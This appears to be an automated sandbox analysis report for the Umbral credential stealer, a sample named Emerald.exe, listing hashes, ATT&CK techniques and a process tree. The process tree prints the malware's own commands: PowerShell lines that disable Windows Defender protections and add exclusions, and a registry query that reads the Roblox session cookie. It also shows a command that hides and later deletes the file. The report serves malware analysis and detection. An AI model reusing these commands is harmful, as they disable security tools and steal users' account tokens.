umbral | 6b3fb6fce70e0a6cbe4dec6627f76ff70414048360f03c7d72099fbd059591ed

Analysis

max time kernel
93s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2024 07:48

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General

Target

Emerald X/Emerald.exe
Size

229KB
MD5

f50a9b0c2670af5b0e3371ecdcebed27
SHA1

e114834c05d2e86db3c3d45ccbd46a7c32950167
SHA256

abbf1cd65c8d762019873c47b45e374d0c75cb28ddf754a8ddb35501f3cb63b2
SHA512

21784568e5f27bbd0235fb37d7a7381055da13f27c00b6399bbb09b286bc58a965f00bb925950855392aad57678d34ccd0de4d13b10f9ae7503bc192143a90c6
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4eudRU69VecbGkFZwEPb8e1moi:noZtL+EP8eudRU69VecbGkFZwWq

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1432-0-0x0000028FC2760000-0x0000028FC27A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1184	powershell.exe
3420	powershell.exe
4764	powershell.exe
1988	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Emerald.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4840	cmd.exe
3844	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4324	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3844	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1432	Emerald.exe
1988	powershell.exe
1988	powershell.exe
1184	powershell.exe
1184	powershell.exe
3420	powershell.exe
3420	powershell.exe
2320	powershell.exe
2320	powershell.exe
4764	powershell.exe
4764	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1432	Emerald.exe
Token: SeIncreaseQuotaPrivilege	4756	wmic.exe
Token: SeSecurityPrivilege	4756	wmic.exe
Token: SeTakeOwnershipPrivilege	4756	wmic.exe
Token: SeLoadDriverPrivilege	4756	wmic.exe
Token: SeSystemProfilePrivilege	4756	wmic.exe
Token: SeSystemtimePrivilege	4756	wmic.exe
Token: SeProfSingleProcessPrivilege	4756	wmic.exe
Token: SeIncBasePriorityPrivilege	4756	wmic.exe
Token: SeCreatePagefilePrivilege	4756	wmic.exe
Token: SeBackupPrivilege	4756	wmic.exe
Token: SeRestorePrivilege	4756	wmic.exe
Token: SeShutdownPrivilege	4756	wmic.exe
Token: SeDebugPrivilege	4756	wmic.exe
Token: SeSystemEnvironmentPrivilege	4756	wmic.exe
Token: SeRemoteShutdownPrivilege	4756	wmic.exe
Token: SeUndockPrivilege	4756	wmic.exe
Token: SeManageVolumePrivilege	4756	wmic.exe
Token: 33	4756	wmic.exe
Token: 34	4756	wmic.exe
Token: 35	4756	wmic.exe
Token: 36	4756	wmic.exe
Token: SeIncreaseQuotaPrivilege	4756	wmic.exe
Token: SeSecurityPrivilege	4756	wmic.exe
Token: SeTakeOwnershipPrivilege	4756	wmic.exe
Token: SeLoadDriverPrivilege	4756	wmic.exe
Token: SeSystemProfilePrivilege	4756	wmic.exe
Token: SeSystemtimePrivilege	4756	wmic.exe
Token: SeProfSingleProcessPrivilege	4756	wmic.exe
Token: SeIncBasePriorityPrivilege	4756	wmic.exe
Token: SeCreatePagefilePrivilege	4756	wmic.exe
Token: SeBackupPrivilege	4756	wmic.exe
Token: SeRestorePrivilege	4756	wmic.exe
Token: SeShutdownPrivilege	4756	wmic.exe
Token: SeDebugPrivilege	4756	wmic.exe
Token: SeSystemEnvironmentPrivilege	4756	wmic.exe
Token: SeRemoteShutdownPrivilege	4756	wmic.exe
Token: SeUndockPrivilege	4756	wmic.exe
Token: SeManageVolumePrivilege	4756	wmic.exe
Token: 33	4756	wmic.exe
Token: 34	4756	wmic.exe
Token: 35	4756	wmic.exe
Token: 36	4756	wmic.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1184	powershell.exe
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeIncreaseQuotaPrivilege	3164	wmic.exe
Token: SeSecurityPrivilege	3164	wmic.exe
Token: SeTakeOwnershipPrivilege	3164	wmic.exe
Token: SeLoadDriverPrivilege	3164	wmic.exe
Token: SeSystemProfilePrivilege	3164	wmic.exe
Token: SeSystemtimePrivilege	3164	wmic.exe
Token: SeProfSingleProcessPrivilege	3164	wmic.exe
Token: SeIncBasePriorityPrivilege	3164	wmic.exe
Token: SeCreatePagefilePrivilege	3164	wmic.exe
Token: SeBackupPrivilege	3164	wmic.exe
Token: SeRestorePrivilege	3164	wmic.exe
Token: SeShutdownPrivilege	3164	wmic.exe
Token: SeDebugPrivilege	3164	wmic.exe
Token: SeSystemEnvironmentPrivilege	3164	wmic.exe
Token: SeRemoteShutdownPrivilege	3164	wmic.exe
Token: SeUndockPrivilege	3164	wmic.exe
Token: SeManageVolumePrivilege	3164	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 4756	1432	Emerald.exe	84
PID 1432 wrote to memory of 4756	1432	Emerald.exe	84
PID 1432 wrote to memory of 4104	1432	Emerald.exe	88
PID 1432 wrote to memory of 4104	1432	Emerald.exe	88
PID 1432 wrote to memory of 1988	1432	Emerald.exe	90
PID 1432 wrote to memory of 1988	1432	Emerald.exe	90
PID 1432 wrote to memory of 1184	1432	Emerald.exe	92
PID 1432 wrote to memory of 1184	1432	Emerald.exe	92
PID 1432 wrote to memory of 3420	1432	Emerald.exe	96
PID 1432 wrote to memory of 3420	1432	Emerald.exe	96
PID 1432 wrote to memory of 2320	1432	Emerald.exe	98
PID 1432 wrote to memory of 2320	1432	Emerald.exe	98
PID 1432 wrote to memory of 3164	1432	Emerald.exe	101
PID 1432 wrote to memory of 3164	1432	Emerald.exe	101
PID 1432 wrote to memory of 3824	1432	Emerald.exe	103
PID 1432 wrote to memory of 3824	1432	Emerald.exe	103
PID 1432 wrote to memory of 4100	1432	Emerald.exe	105
PID 1432 wrote to memory of 4100	1432	Emerald.exe	105
PID 1432 wrote to memory of 4764	1432	Emerald.exe	107
PID 1432 wrote to memory of 4764	1432	Emerald.exe	107
PID 1432 wrote to memory of 4324	1432	Emerald.exe	109
PID 1432 wrote to memory of 4324	1432	Emerald.exe	109
PID 1432 wrote to memory of 4840	1432	Emerald.exe	111
PID 1432 wrote to memory of 4840	1432	Emerald.exe	111
PID 4840 wrote to memory of 3844	4840	cmd.exe	113
PID 4840 wrote to memory of 3844	4840	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4104	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe
"C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1432
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4756
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe"
  2⤵
  - Views/modifies file attributes
  PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2320
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3164
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3824
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4764
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Emerald X\Emerald.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
36d03a272b43b1c16e5bce541906f649

SHA1
66f0178c3182a09386738d60501411a14b4a3864

SHA256
3fe1814466c786b9b14e3d1b9f9348434db490bc462b9e071f7bcaea5ef9e270

SHA512
d6c34935c1c22bda2ffd3550e54ca77bca92ab46829d3acc58c263fec94f8b6fa578105a80121c78e6d38ee51ec8f1bb8ae74ba7844a207499145308ec982a3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l43jdumo.f0k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1432-72-0x0000028FDCF60000-0x0000028FDCF72000-memory.dmp

Filesize
72KB

Download
memory/1432-35-0x0000028FDCD10000-0x0000028FDCD2E000-memory.dmp

Filesize
120KB

Download
memory/1432-90-0x00007FF82E120000-0x00007FF82EBE1000-memory.dmp

Filesize
10.8MB

Download
memory/1432-71-0x0000028FDCD40000-0x0000028FDCD4A000-memory.dmp

Filesize
40KB

Download
memory/1432-2-0x00007FF82E120000-0x00007FF82EBE1000-memory.dmp

Filesize
10.8MB

Download
memory/1432-33-0x0000028FDCE90000-0x0000028FDCF06000-memory.dmp

Filesize
472KB

Download
memory/1432-34-0x0000028FDCF10000-0x0000028FDCF60000-memory.dmp

Filesize
320KB

Download
memory/1432-0-0x0000028FC2760000-0x0000028FC27A0000-memory.dmp

Filesize
256KB

Download
memory/1432-1-0x00007FF82E123000-0x00007FF82E125000-memory.dmp

Filesize
8KB

Download
memory/1988-15-0x00007FF82E120000-0x00007FF82EBE1000-memory.dmp

Filesize
10.8MB

Download
memory/1988-4-0x00007FF82E120000-0x00007FF82EBE1000-memory.dmp

Filesize
10.8MB

Download
memory/1988-3-0x00007FF82E120000-0x00007FF82EBE1000-memory.dmp

Filesize
10.8MB

Download
memory/1988-10-0x0000022EF4F70000-0x0000022EF4F92000-memory.dmp

Filesize
136KB

Download
memory/1988-18-0x00007FF82E120000-0x00007FF82EBE1000-memory.dmp

Filesize
10.8MB

Download